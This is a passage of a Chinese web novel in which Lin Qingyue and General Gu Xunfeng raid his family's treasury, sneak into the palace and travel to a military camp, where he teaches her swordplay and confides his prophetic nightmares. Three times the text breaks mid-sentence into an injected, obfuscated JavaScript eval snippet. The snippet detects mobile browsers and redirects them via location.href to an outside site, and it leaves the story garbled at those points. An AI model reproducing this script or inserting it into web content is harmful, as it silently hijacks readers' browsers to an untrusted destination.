空气静谧,仿佛一根针掉在地上都能把人惊动,林清月望着他无动于衷的侧脸,恶狠狠威胁道:“你这样的话,我就只能当个忘恩负义的人了!” 没想到顾寻风还真感兴趣了,侧身问:“怎么个忘恩负义法?” 林清月愣了愣,看着他突然凑近的脸,恶言恶语:“……当然是抛弃你,然后偷走你家的宝贝!” 顾寻风冷呵:“都说了我不喜欢你。” “我刚刚哪句话说你喜欢我了?”林清月看着他微怔的神情,了然于心,“哦——” 话还没说出来,顾寻风忽然掩饰什么的说道:“今夜睡不着,带你偷东西去,去不去?” 偷东西?他想明白了,打算带她去偷钥匙了?他果然知道钥匙在哪! “去!” 二人一拍即合,立马行动。 —— 夜黑风高。 红衣男子与绿衣女子在顾家的屋顶跳跃几下,躲过护卫到了一个小院的旮旯里。 “钥匙在这?” “这是宝库。” 林清月此时正被顾寻风拉着躲在一个石头后面,位置窄小,挤得慌,听他这么说,心下疑惑:“钥匙就在宝库门口?” 古代人也玩这种吗,藏哪啦?地缝里?毯子下面?花盆下面? 这么想着,林清月探头去看。 光溜溜的,也没毯子啊,花盆也没有。 所以…… “走,把门拆了。”顾寻风接着就拉住她手腕。 林清月都顾不上震惊,当即往反方向拉:“我们不是先去偷钥匙吗?!拆门做什么!”把钥匙偷了,她复制完东西再还回去就当什么都没发生过,这样多好,而且任务就是偷钥匙啊…… 顾寻风却顿了顿,说:“我没说我知道钥匙在哪。” 42. 他的梦境 林清月不知道顾寻风是怎么想的。 总之她现在只觉得他有病。 “这样不就被发现了,你不想在家待了?”林清月咬牙,恨铁不成钢,“咱们可以先去打探打探钥匙在哪,这么重要的东西,应该——哎你不许去!” 说着,顾寻风已经没打算管她去拆门了。 猝不及防被拉住,顾寻风不满:“你听我的,直接拆门进去就行了。” “我听你个鬼,给我回来!”林清月使劲拉他,“我们先好好想个计划……” 但她压根就拉不住顾寻风。 顾寻风随便一下就挣脱开来,从石头后面窜到门前,手中剑出鞘。 林清月赶过去的时候,门已经被劈开了。 “……”看着面前灰尘飞扬,林清月竖起个大拇指,“你是这个。” “多谢夸奖。” 顾寻风神情板正,手腕一转挽了个剑花,快速收剑入鞘,拉住她手腕冲进宝库,“走——” 然而下一秒,身后传来声音:“有贼人!” 刹那间,天旋地转。 林清月被他抱起来,脚离了地面,慌乱之下紧紧抓住他衣裳,再次睁开眼,他们正在房梁上,而下面,大哥已经在门外了。 大哥正在训斥巡逻的护卫。 林清月压低声音掐了顾寻风一把:“都怪你,现在怎么办?” 顾寻风皱着眉扒开她作乱的手:“躲着,别出声。” 事已至此,当然只能躲着,但惊动了他们,这宝库以后还进不进得来都难说,最主要的是,她要完成拿钥匙的任务啊!任务!任务! 门口大哥的训斥声持续了许久,护卫把宝库全部搜索了一遍,没发现有宝物丢失,也没发现挤在房梁上的人,出去汇报的时候,被刚喝口水歇着的大哥劈头盖脸又骂了一通。 大哥发丝还有些凌乱,身上的外袍披着,应该是刚醒。 林清月抓着他衣袖不松,看着门口轻声道:“他好暴躁。” 顾寻风见怪不怪,淡然:“是这样的,小时候他曾经因为我想烧了宝库,把我骂了三天。” “……那你确实该骂。” “我只是想想。” 林清月“哦”了一声,不再和他废话,低眸看了看底下那些东西,眼眸一转,定在了一个角落的木架上,木架上放着一个铲子。 这沾满尘土的铲子,天材地宝? 她戳戳顾寻风,见对方望过来,又指指那个铲子,“那是什么?” 顾寻风像看傻子一样看她:“铲子啊,你不认得?” “不是,”林清月深吸口气,“我的意思是,这宝库里怎么还有铲子?” 顾寻风看了那铲子半晌,揉揉太阳穴,“我不知道,可能我爹觉得它是个宝贝吧。” 林清月更疑惑了。 恰巧此时宝库的门被关上,没人再进来,林清月赶紧让顾寻风带着自己下去了,在那铲子面前又摸又看—— 嗯,材质确实不错。 不过这也能当宝? 一旁顾寻风见她这样,干脆把铲子拿过来一扛,“我去找我要的东西,你找你的,这东西你喜欢拿走便是,不用客气。” 林清月试图阻止:“你不是说这是你爹的宝贝吗?” 顾寻风毫不在意的样子:“没关系,咱们把东西拿完就走,他老人家也追不上。” “……好。” 救不了,就这样吧。 林清月转头去搜罗其他东西,差不多半个时辰,二人把宝库里面都看了一遍。林清月将觉得有用的东西复制了下来,一共三件,花了三万积分,统共下来,还剩六万。 等着顾寻风慢悠悠逛完,才问:“所以,如何出去?” 顾寻风把铲子往旁边一搁,靠在门旁,吐出一个字:“等。” “?” 林清月皱了皱眉。 等啥?等你老爹把你抓走? 还没问出来,门外突然有什么动静,林清月拉着顾寻风手腕就要躲起来,却被顾寻风反拉住,一个踉跄,头都撞到了他身上,不由得怒问:“你干嘛?” 恰巧此时,门开了。 等来的是顾焦焦兴奋的声音:“四哥!你们要去哪带我一起!” 林清月看看顾寻风,又看看顾焦焦,“哈?” 顾寻风一手拿起铲子,一手抓着林清月的手腕往外走,跟顾焦焦说:“能跟上就跟,跟不上拉倒。” 林清月拉了他一下,表情疑惑:“什么意思?焦焦要跟我们一起去姜国?这不好吧,这多危险……而且你们是早就商量好了吗,怎么……” 一堆疑问。 在顾焦焦接下来的言语中戛然而止。 顾焦焦塞给了他一串钥匙,没错是一串。然后跟她说:“这是大哥给我的,说暂时让我保管,我现在就转交给你啦,反正都是自家人……还有还有,你们一定要在军营等等我哦,我会去找你们汇合的!” 说完,顾焦焦就风一样窜走了。 【完成任务:拿到宝库钥匙,土木大传承任务进度20%】 …… 好吧,是她保守了。 谁家大哥会把这么重要的东西,交给自家并不靠谱的小妹啊?而且现在想想,那个房梁好像,似乎……大概也没有那么隐蔽吧? ‘说句实话,你们坑得一样一样的。’ 【宿主,你居然把666当替身~!呜呜呜】 ‘有病。’ 等再次反应过来,顾寻风已经拉着她到了府外,而他的马就在府外等着他。 “说吧,咱们接下来去哪里?”林清月已经麻了,这一切不是哦有计划,怎么也是预谋已久。 至于多久,她不知道。 顾寻风没有松开她,火急火燎就拉着她上马,她被锢在他身前,珠钗都被怼歪了些,气愤转头看他,“说话!” 顾寻风这才停顿了一下,随后边说话边驾马,“去皇宫。” 林清月深吸口气,顶着疾驰的风望了望天,月亮当空。 夜闯皇宫这事儿吧,挺大的。 但没被人发现,也不算多大。 一路上骏马奔驰,风吹到脸上跟下刀子似的,头发还被风吹着打在脸上,林清月的心已经死了。 路上,在顾寻风带着她在皇宫躲躲藏藏到处飞的时候,她抽空呼唤系统联系了一下仲长湫。 【叮,已开启通道】 ‘长……’ ‘啊啊啊队长救命啊,你到底在哪啊,呜呜呜,这个顾小小姐太可怕了,她太可怕了!她说要把我烤焦!’ 林清月似乎猜测到了顾焦焦的用途,想到顾焦焦那小丫头估摸着就是吓唬人的,叹口气劝解:‘长湫,你听焦焦的话哈,队长去干大事,你乖乖跟着焦焦走,没事哒没事哒。’ 仲长湫难得沉默了。 再然后,顾寻风就捏着她手臂,把她丢进了一个窗户内。 林清月人都被丢懵了,摔了个狗吃屎,一抬头,皇帝也一脸懵看着他,歪歪头:“啥?” 还没来得及说什么,又被人拎了起来,顾寻风的声音近在耳边,“陛下现在就送我们走吧,先去军营,我们带些人手……” 说着,他看见皇帝脖子上有一道被划伤的痕迹,赶忙正色问:“陛下脖子怎么了?真有刺客?” 皇帝原先还有些懵,听见他问,摸了摸脖子,“哦”一声,“今日侍寝的时候不知怎得惹你二姐生气,她拿刀划的……不是,这不重要,你刚刚说你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我梦到了。”顾寻风忽然说,“我梦到,这次宴会他们的目标是陛下,二姐为了保护陛下受伤,所以,我偷走了宝库里的东西,让陛下秘密把我送进姜国调查。” 屋内灯火明亮,他的眼睛此时却好像比这辉煌的宫殿还要明亮耀眼,他突然就这么眼眸闪闪地看着她,比任何一刻都要鲜活。 “你知道吗……我的梦里从来没有出现过你,那些荒诞可怕的一切,都与你无关……你出现在这里,那一切好像都没有那么可怕了,我不知道为什么会这么想,只是突然想到很多年前,我梦见我死在那场弑君的闹剧中,顾家都没了,因为我……” 他好似压抑着什么似的,望向她的眼眸发热,手握成拳,又或紧攥着剑鞘,声色变了变,带着些迷茫,“然后、然后有个人说,让我等她,我便一直撑着……是你吗?我不知道……可我希望是你……” “我不知道……也不知道,究竟为什么会做这些梦,直到你出现,我才终于觉得,这些梦没有那么可怕了。” 林清月就站在这儿,定定看着他,看着他说着说着不自觉的颤抖,看着他红红的眼眶,直到最后一个字落地,她忽而抬手,抚了抚他鬓角碎发。 “所以啊,顾大将军才是世界上最有本事的人。”窗外吹来风,又乱了鬓角,扬起二人发丝,卷走她难得轻柔的话语,“这几天又做噩梦了,又不跟我说,明明我陪着你会好点的,非要逞强,早知道你这么不需要我,我早点走好了……” “不要走。”顾寻风的话语有些急促。 林清月眼眸一弯,笑了起来,“你看你,嘴上说不喜欢我,可还是离不开我。” 顾寻风被她的话哽住,也意识到自己有些失态,垂下眸子解释:“我刚刚那些话,意思是你对我来说有用,你……” 说着,他语气生硬:“你安分些,不要再乱讲话。” 43. 拉手教学 这个年龄是这样的,林清月这么想,敷衍的附和他:“是是是,我有用你才留我,我知道。” 顾寻风松口气:“你知道就……” “但又不是我让你讲的,我马上要跟你去姜国干正事了,问问你安全隐患,这很正常吧,那些东西……梦啊什么的,可是你自己要跟我讲的。”倏忽间,林清月调转话头,去斥责他,“既然不是表白,那就是怀疑我了?” “不是。”顾寻风立即接上这么一句,随后觉得太干巴,又挤出几句解释。 “我就是,怕你说多了,怕隔墙有耳,对你不好。” 林清月意味深长“哦”一声,忽而凑近:“这么在意我?” “……” 顾寻风觉得林姑娘跟狐狸一样……狡诈。还油嘴滑舌,颠倒是非。 不可理喻。 “总之你放心就好,陛下不会让人抓我们的。” 果真如顾寻风所说,差不多就是半刻钟,一个太监进来,把他们请了出去,顾寻风去把自己的马安放在皇宫的马厩里,只拿上铲子,二人一同上了皇帝给他们准备的马车。 马车上挂着金穗子,里头空间不小,都是能在里面睡觉的程度,一眼就能看出是宫里人用的。 一路上的关隘,只需车夫拿出个小小的令牌一晃,无人阻拦,很快便到了瑾县。 彼时林清月还靠在马车内睡觉,被顾寻风戳醒,看了眼窗外,马车停在了县令门口。 他们下车,正巧碰上县令披着衣裳赶出来。 “现在天色已晚,将军和夫人就先在小人府中睡一晚,明儿一早,便把你们送去军营。” “不必。”顾寻风拉着林清月进门,“我让人来接我们了。” 林清月望了他一眼,“你何时放的信?我怎么不知道?” “你睡觉的时候。” 夜色明亮,二人熟稔地走到客房,关上门,林清月坐下思索,“我们是不是要等等焦焦,她跟我队员在一起呢,也不知道他们什么时候能来。” 顾寻风笑了一声,把铲子靠在门边,回身坐下,“只要顾焦焦想,哪怕我们已经进了姜国,她都能想办法混进去,至于你的队员,在她身边顶多吃点苦,不会有性命之忧的。” 吃点苦? 也对,焦焦就是个可爱闹腾的小女孩,长湫自然是要多保护着点。 林清月不置可否,没有深究。 只是等到了军营,跟仲长椿解释又要费一番功夫。 他们两兄弟每天都是形影不离的,仲长椿作为哥哥,比仲长湫是要稳重许多的,想必应该也能理解—— 好吧,弟控不理解。 第二天李驰带着两匹马来接他们去军营,回了军营拴好赤马,林清月第一件事就是去找仲长椿,军营修缮的基本方案已经确定,仲长椿已经在跟瑾县过来的人确认施工需要的人数了。 “……你就把他一个人留下来了?” “有人陪着呢,没关系的。” 仲长椿皱着眉头:“长湫就是个什么都不懂的毛小子,跟个小姑娘一起……他自己都不懂什么,更别说保护人家了。” 他头上炸开的丸子头很像他现在炸裂的心情。 “队长你怎么能把他一个人放那里呢?出什么事了怎么办?你能联系到他吗,问问他那边的情况吧?” “……稍安勿躁。”林清月按住他的肩膀让他坐下,“长湫又不是傻子,若他真觉得不行,也会跟我说的,我们在军营等等,若出发之前他们还没赶来,就再联系联系,而且顾寻风也说了不会有性命之危。” 仲长椿坐不住,噌一下又站起来,“队长你现在怎么这么相信他?” 林清月哽住。 好在现在就他们二人,不然军营的人又要跟他们急了。 仲长椿还在来回踱步,“不行,我实在是放心不下,他没什么自保能力的啊,路上遇到劫匪什么的怎么办?像这种大家族,是不是都会有什么仇人之类的,跟那个什么顾小小姐走一起,遭人暗算了怎么办?” 说着,他走到林清月面前,“你现在就联系一下他吧,你不是可以联系到他的吗?” 林清月都能看出他额头渗出了汗珠,丢给他一个帕子擦汗,见他坐不住便自己坐下,“当然联系过,我在来的路上就联系了的,长湫说路上没遇到什么事儿,途中挺顺利的。” 仲长椿胡乱擦了下额头,听此稍稍安心,“他还说什么没?什么时候跟我们汇合啊?” “别着急,总之这里修缮的事交给康日,你跟我们一起去姜国就好。”若在姜国碰到传承人了呢?她自然是比不上专业人士,所以仲长椿必须带着的。 “好吧。” 接着,林清月从百宝袋中拿出了两样东西,跟仲长椿去找到康日。 康日正在跟瑾县过来的人交谈。 “工具我都看过了,没什么大问题,只是有些我们可能用不惯,需要稍加修改——” “不行的啊,这有些东西很稀有,弄坏了怎么得了!” “您就放宽心,我们这边一定会小心的。” “不行不行……” “康日。”林清月径直走过来,把一个锯子和天平放在桌上,“这两样东西,你交给秦安肆,让他看着加工一下,让他把需要的东西列出来,我晚上去找他,尽量让百宝袋听话些……” 见她来了,康日仿佛见到了救星,让仲长椿跟那人谈,而把她拉到一边说:“队长,这里的东西都太简陋了,防护措施也不到位,修缮军营是个大工程,若出了什么意外怎么办?他们不听,队长你帮忙劝一下吧。” 林清月稍稍问了一下,只笑一下,指指桌上的两个工具:“那两样东西,你们加工成功了,人家自然信了。” 康日看过去,叹口气,“若他们不信怎么办……” “哦,还有一样东西,或许有用。”林清月忽然想起那个铲子,让康日跟仲长椿拖着那个瑾县的人,自己去找顾寻风。 顾寻风一回军营就去了军帐,他们谈正事,林清月在门外听了一耳朵,是关于瀛洲的事,她没多留,从百宝袋掏出了纸和笔下了个字条,拿走铲子,把字条放在铲子原先待的位置。 回到帐篷内,林清月把铲子往正在争辩的三人旁边一放,三人皆看过来。 “还在纠结那事呢?不然你们问问将军怎么看?毕竟我们和将军合作的,你们不信任我们,也得先——” “你这是什么铲子!” 瑾县那人却无视了她说的话,直勾勾盯着那铲子,“顾家老爷子竟然为了你,准备让这铲子出山了?!” 林清月看了眼手里的铲子,眼珠子骨碌一转,“啊——啊!对啊,我还好奇呢,怎么给我个铲子,这位先生,敢问这个铲子究竟是有何妙用啊?” “这可是传说中,上古神山中出土的铲子,定名为留光铲,据说是曾经隐居仙人所用之物呀!”那人看着格外激动。 林清月却更加疑惑了,这儿的人这么迷信吗? 【发布任务:让留光铲物归原主】 ‘好难,你来做行不行。’ 【宿主加油!宿主是最棒哒!】 鬼知道这什么留光铲主人是谁啊,再说了她找这个铲子的主人做什…… 等等,不会是继承人吧? 欸,有可能。 “等等,先生。”林清月问:“你说这留光铲是上古神山中出土的……上古神山是什么山?这地方好啊,我改日也去拜见拜见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304130|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那瑾县的人当即摆摆手:“不得行不得行,那神山是在姜国那块,这铲子被挖出来的时候,姜国还没分裂出去呢……” 说到这,他顿了顿,随后稍稍摆手,“哎呀不提这个,这……既然铲子都给你了,我便相信顾家的眼光吧!” 林清月几人对视一眼,眼中都带着疑问。 就因为一个铲子。 就这么成了? 愣怔片刻,林清月笑说:“先生,你说真的?这铲子就这么神?它究竟干过什么惊天动地的大事啊?” 那人还未回话,门口忽然传来声音。 “一个普通铲子罢了。” 顾寻风清冽的声音传来,越来越近,“只是神山的名声太大,所以大家都把它当个宝,我父亲也不懂得鉴宝什么的,只是听说这铲子的名声,才收起来的吧。” 话音落下,林清月便看见了他将字条还到自己面前。 “你怎么不丢了?” “你写的。” 林清月下意识把字条接回来,望过去,字条只剩了一半,署名被撕下去了,她不禁一笑,把纸条抖开放在眼前,“哎呀,这字条谁写的?怎的都没有署名啊?难道,是将军你给我写的情书吗?” 顾寻风眼眸朝她一瞥,夺过她手中铲子,拉住她手腕,未回话,只说:“有事,跟我过来。” 而后就拉着她出了帐篷。 林清月被他拉到了外面,满脑子问号,谁知道这人突然来找她做什么,铲子不是为了她带出来的吗,难不成是为了铲子来找她?再说她也留了字条啊,这小子还把署名撕了,她都没问是要做什么呢。 就这么带着满腹疑虑。 但她并未制止,跟着顾寻风的脚步,一路穿过训练的士兵、整齐的帐篷,然后来到了训练场,才终于放开她的手腕停下。 江奇云还在一边坐着磨剑,见他们来,收了手中动作。 林清月跟上顾寻风问:“你带我来这儿做什么?不是说,我们今天就各自收拾,明日一起讨论路线,后天皇帝的东西送来了,直接走就可以了吗?” 只见顾寻风随意把铲子往旁边一搁,而后径直走到武器架旁边,挑挑拣拣,选了把轻巧的短剑出来,丢到她怀中,“练点防身的东西。” 林清月颠了颠手中的短剑,持着剑柄拔了些出来,剑刃反射出光亮,照入那双凤眸中去。她微眯双眸,轻轻一笑:“顾大将军这么大方?” 顾寻风没有回答,直接抓着她握剑的那只手,一两步便绕到她身后,手心也在那一瞬间往前挪,覆在了她手背上。 “看着他。” 温热的气息近在耳边。 林清月微微凝神,看向对面已经摆好架势的江奇云。 “记住,当意识到敌意的那一刻,便不能分神了——”伴随着他的声音,江奇云没有预兆地提剑刺过来。 顾寻风带着她转过半圈躲过,接着紧握她的手扬起手臂,二人手指交握,剑柄转了转,剑刃换了个方向,抵住对方剑刃,剑光刹那闪过,刺耳的声音骤然传入耳膜。 林清月下意识闭了下眼,就这么一瞬间,剑刃抵到了对方的剑柄处,只稍稍一挑,江奇云手中的剑掉落在地,剑刃又换了个方向,抵在江奇云脖子上。 江奇云:“……将军,说好的放水的!” 江奇云的手心被划出了一道血痕。 没有回应他,顾寻风只是垂眸,偏头望向林清月,“看清楚了吗?” 林清月一抬眸就撞上他带着光泽的眼眸,太阳光仿佛天生就在他眸中,耀眼璀璨,脑后的发丝随着风轻轻飘荡,随后,那双眼眸轻巧一弯,手背上的温热消失,但清水般的声音仍近在耳边。 “分神的话,就会被这样毫不留情杀掉。” 44. 眉间一吻 今日太阳高挂,万里无云,阳光直直地洒下来,照得人面色发热。 林清月觉得自己稍微一动,就能跟身后的人撞上,偏偏他也不退开,只是这么看着她。 江奇云已经走开了,到一边放下剑挑长枪。 “我没看清。”林清月如实说,“太快了,你再教我一遍。” 说着,她把他的手拿起,重新放在自己握着剑柄的那只手上,还怕他不信,又强调一遍:“真的没看清。” 顾寻风睨她一眼,手指在她手上一碰夺过短剑,十分耐心重新示范一遍,“……记住基本的动作。” 随着动作,铮铮的声音响起,散在风里,伴随着他教学的声音,“挑、刺……还有短剑最重要的,身法以及反应能力,我会着重教你身法……” 林清月认认真真看着,待他讲完,拿过短剑,学着挽了个剑花。 “我当然知道,我力气没你们大,重要的自然是灵活……不过你突然要教我这些做什么?” “要去姜国了。”顾寻风微微抿唇,“姜国危险,若我不在,你能保护自己。” 林清月想想也是,她前脚才刚得罪姜国军营里的人,去了被认出来,指定要被针对,那怎么能行?再说了,结识孟放歌这个女将领,不是易事,学这些也可以防患于未然。 于是,林清月就在样在训练场练了一天,江奇云应是憋了许久的气,换着法儿针对。不过林清月也不是好惹的,再说顾寻风就在一边看着,她也不怕,仗着身量小,打不过就四处窜,时常把江奇云耍得炸毛。 直到黄昏时,秦安肆找来,把一张密密麻麻写满了字的纸拍到她脸上。 “东西。” 林清月刚兴致冲冲练完一轮,转身要跟顾寻风打招呼,就被一张纸糊了一脸。 她把纸张接过来看了看,手里的短剑收回去插在腰间,“嗯……你到我帐篷里等我,我马上就来。” 说完就打算绕过他去找顾寻风。 但秦安肆眼疾手快,抓着她胳膊就往场外走,满脸不耐。 “再等,到了明天,折腾一晚上也弄不出这么多东西。” 林清月只能朝顾寻风那边挥了挥手表示再见。 被拉到帐篷里后,也立马坐好开始看纸张,把百宝袋放在桌上,对着纸张一个个掏。秦安肆就在一旁絮叨:“虽然我们是让你用那种方法跟那将军合作,但你别真把自己搭进去了啊,我们做完任务就回去了,最好在这里没有牵绊。” 林清月一边朝着总出错的百宝袋拜拜,一边应付他:“我有分寸的,我们自然迟早要回去,但及时享乐嘛,他长得好看,我喜欢的那种好看,能占点便宜为什么不占。” “……神经病。” 秦安肆不理她,坐在她对面开始写方案。 林清月也不理他,兀自跟百宝袋较劲。 二人一直到了大半夜才忙活完,秦安肆拎着一袋子的东西回帐篷去,林清月在门口送了送,叮嘱他们在她不在时千万别吵架,才放他回帐篷。 望着他回到帐篷,又抬头看看天空,明月当空,万里无云。 她重重叹一口气。 自己说是及时行乐,可真的动没动心,她是知道的,或许,她的确有一些喜欢顾寻风了。但几番试探询问,顾寻风没有那个意思,她也在想,自己的感情究竟有没有意义了。 在对方承认喜欢她之前,她是不会先暴露自己的感情的。 这样会让自己陷于被动。 算了,不想了。 任务该走的继续走,之后的一切,随心吧。 林清月拨了拨刘海,转身进帐篷。 忽然,她又停下脚步。 接着她侧过头,目光望向对面那侧忽然亮起光的帐篷。 顾寻风的帐篷。 思索片刻,林清月抬脚走过去。停在帐篷门口,她脚步顿了顿,转而走到窗边,透过缝隙往里看。 账内只有一盏烛火摇曳,顾寻风穿着白色的里衣,看不清眉目中的情绪,只能看见他在片刻愣怔后离开床榻,走向桌案,顺手抓了大衣披上,随后就坐在桌案前发了会呆。 半晌,他从袖口拿出一张纸,摊开放在桌子上。 他的手指在纸面上轻轻摩挲,在这静谧的夜里,仿佛都能听见轻微的“沙沙”的声。 林清月有些好奇那是什么,但她这个距离,这个视角,也就只能看见人的动作,这种细微的东西一点也看不到。 正看得起劲。 突然,她看到了他的眼睛。 不是吧,什么都没干怎么还能被发现? 林清月当即要跑。 但比她更快的是飞来的毛笔。 毛笔穿过窗户的缝隙直直打向她的脑袋,好在她白天刚练过反应,躲了一下,毛笔只打到她的发簪。 发簪被打掉,她的头发掉了一大半下来。 但这并不妨碍她接着跑。 却没想到,直接与出来的顾寻风撞上。 顾寻风手比脑子快,抓着她手腕就反手拉进帐篷按在地上,透过昏暗的灯光看见这人面容,他才堪堪收住自己准备发力的手。 烛光因为被二人带进来的风微微摇晃,落在她的眉眼。 林清月抬手扒开他捏住自己脖子的手,微微皱眉,“你做什么啊?你想杀了你的夫人吗?” 顾寻风赶紧把两只手都松开,直起上半身,垂眸看着她。 林清月摸摸自己的脖子,又摸摸空无一物的脑袋——唯一的发簪已经被打掉下去了。 心脏砰砰直跳,她心想,原来这就是劫后余生的感觉。 她躺在地上懒得动,眸子微微转动看向他。 “我告你谋杀。” 微暗烛光照在少年俊逸的侧脸,随着微风荡荡,他眉睫一抬,与她对视,眼眸也似湖水一般荡起涟漪,话语中带着疑惑,“你……偷看我睡觉做什么?” 林清月被他问得发愣。 沉默了一会,她支起上半身,“你这话说得我像流氓一样。” “是吗?”顾寻风笑出声来,站起身走向桌案。 林清月一边摸了摸凌乱的发髻,一边起身,抬眸望过去,正好看见他摸起桌上的碎纸片收回衣袖。 她跟上去,拉了个椅子坐在他旁边,“我还没问你呢,大半夜的不好好睡觉,突然点灯坐起来干嘛?” “没什么。”顾寻风神色淡淡,随手拿过一个竹简,“突然想到什么,起来看看。” 林清月撑着脑袋,笑眯眯望着他,抬手抽走他手里的竹简,在他疑惑望回来的时候缓缓开口:“顾大将军又做噩梦了对不对?” 顾寻风一顿,挪开眼神。 林清月凑近一些,追问:“梦到什么了?” 顾寻风没有回答。 “你最近怎么老是做噩梦,是不是白天没休息好?” “要不要我陪你?” “让我想想,上一次你说你梦到了宫宴,那些事情都已经过去了,那现在又是一个新的梦对不对?你告诉我,我陪你一起分析一下嘛。” 林清月一连问了他许多都没得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14321256|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回应,直到最后一句。 顾寻风终于开口,却是说:“我要睡了,林姑娘也回去,早些睡下吧。” 对于他这样的态度,林清月自然是拒绝了,理直气壮说:“我们是夫妻,就算明日大家都知道了也没什么,怎么,难不成你是口是心非,其实心里还是喜欢我,所以害羞?” 顾寻风每次这时候就回得快,“不是。” 林清月接着说:“那不就得了,你作为我的合作伙伴,我自然要多关心关心你,你之前不是说你做噩梦的时候,我陪着会好些吗?” 她咧开嘴角,笑着把他拉起来,吹熄灯盏,“走,我陪你睡觉。” “不是……” “别不是了,不就睡一个枕头的事吗?”她将他拉到床边了,回眸看他,眸中带着盈盈笑意,“有我这样漂亮的姑娘陪你睡觉,你竟然还不肯?” “……” 顾寻风彻底没话说了。 他最终还是没拒绝成功。 因为面前的姑娘确实长得很漂亮……眉目娟秀,眼波流转,那墨色长发如瀑布般倾泻,落在后背与肩头,一点凌乱的发丝在眉眼间,这么看着,他都不自觉抬手把发丝拨了拨,又觉这样不好,触电般缩缩手指。 对方却没怎么在意,继续动作,将他身上的大衣脱下来丢到一旁,又把自己的外衣脱掉,而后拉上他手腕上床,蹭到被子里去。 他被迫躺在床上,转过头去,见明亮的眼睛正看着他。 “要不要说出来,不好的东西,憋在心里对身体一定也不好的。” 顾寻风知道她说的是梦。 但他只是沉默。 林清月也不强迫,就静静在他一旁,闭上了双眼。 不知过了多久,久到她都要睡着了,意识朦朦胧胧的,感觉到他侧过身来,把她轻轻抱在怀里。 她睁开眼,抬头看过去,但被他按在后脑勺。 刚想说话,又被他抢了话头:“我梦见我做错了事,被抓进姜国大牢,害得军营被偷袭覆灭。” 他的话语平静,似乎真的只是一个梦。 林清月无奈,安慰说:“顾大将军这么厉害,怎么会呢,就算被抓进去,也能逃出来的,对吧?” 顾寻风却沉默了很久,之后,声音略显颤抖:“我很害怕。” 林清月想抬头看看他,但被他按得更紧,于是,她抬手,也抱住他,声音很轻:“我陪着你。” “……嗯,没事的。”他似乎是在安慰自己,但掩不住颤意,“有你。” 林清月听得无奈,转念一想,由着他按住自己脑袋,然后凑近,在他脖颈蹭了蹭,声音带着笑意:“我都不害怕,你怎么连我都比不过?梦而已,就让你怕成这样……” “我……”顾寻风一顿,手指攥紧捏着她腰后的衣物,手臂缩紧,低头,鼻尖在她发间蹭了一下,“嗯,我没用,我需要你。” 听他音色正常了,林清月放下心来,调侃他:“你如果想亲我,可是要负责一辈子的。” “我没想。”顾寻风话语间夹杂着一丝笑意。 林清月趁机抬头,双手捧住他面颊,反问:“真的没有?” 月色明亮,他眼尾的红有些明显。 “真的——不想?” 林清月压了过去,腰后的那只手动了动,慌乱扣在腰侧抵住。 她嘴角闪过一抹笑,继续抬头,双手稍稍用力,把他脑袋往下压,抬头,一吻便落在他眉间。 而后就着这个姿势将他轻轻抱住,阖眸低声细语:“别怕。” 45. 集体会议 从十四岁那年,一场九族连诛的梦开始,顾寻风的日子就在恐慌中度过。 最开始,他只是把自己关在屋里,以为只是自己在外疯玩而生病,也没敢把这荒诞的梦讲给任何人听。 十四岁之前,他日日不归家。 那场梦之后,他在家足足把自己关了三个月,才终于确认,这不只是一场梦。 太子果真被废。 那个梦里诛他九族的人,果真当上了太子。 于是他拿起手中剑,投奔当今太子,也就是他的二姐夫。 花了一年时间,得到太子信任,然后,梦里的事发生了,但不一样的是,他不是太子的对立面,他与太子一起弑君。 他仅仅因为一场梦,做了这件大逆不道的事。 他没敢告诉任何人。 在他以为一切都结束,想要辞家远离这里的那一夜,梦却又来了。 一次又一次。 鲜血淋漓,荒诞虚妄。 他一次次在梦中崩溃醒来,又一次次藏起离家的行李,记忆力也在这之后越发不好,他不明白为什么这些要发生在他身上。 但最终,他接受了这预知一般的梦境,也接受了改变一切的责任。 将近四年的折磨。 直到一个人,如山林松风,似月华皎皎,挟着清风明月而来,涤清了他心里的污秽。 那些说不出,抛不开,无人知晓的污秽。 在发觉自己对齐锋眠莫名的敌意后,顾寻风时常在想,他对这位……林姑娘,究竟是什么样的感情? 他……不知道…… “睡吧。” 林清月退开抱着他,感觉到他的手臂收紧,暗自笑了笑。 各自怀着心事睡下。 第二日醒来,顾寻风已经早早出了营帐训练。 也不知陛下的东西今日是否能送来,林清月收拾了一下自己,便先和秦安肆一起把小队的人都找来,在她的帐篷里小聚。 事先确认了下周遭没什么人,才开始讨论。 林清月问了问如今修缮军营的进度,就跟她现在看到的一样,没什么好担心的——只要这时没有敌人来犯。 这就取决于她接下来与顾寻风在姜国如何行动了。 “……之之,若就让你与康日、秦安肆三人留在军营,你能不能帮我控制一下局面?”林清月思索之后问。 罗知之微愣。 她还没说话,秦安肆便轻嗤一声:“你在搞笑吗?你接下来是不是想说,还想把湛亦带去姜国?林清月,这没必要吧,这样怎么不干脆我们都跟你去,不管这个军营算了。” “不能不管……” 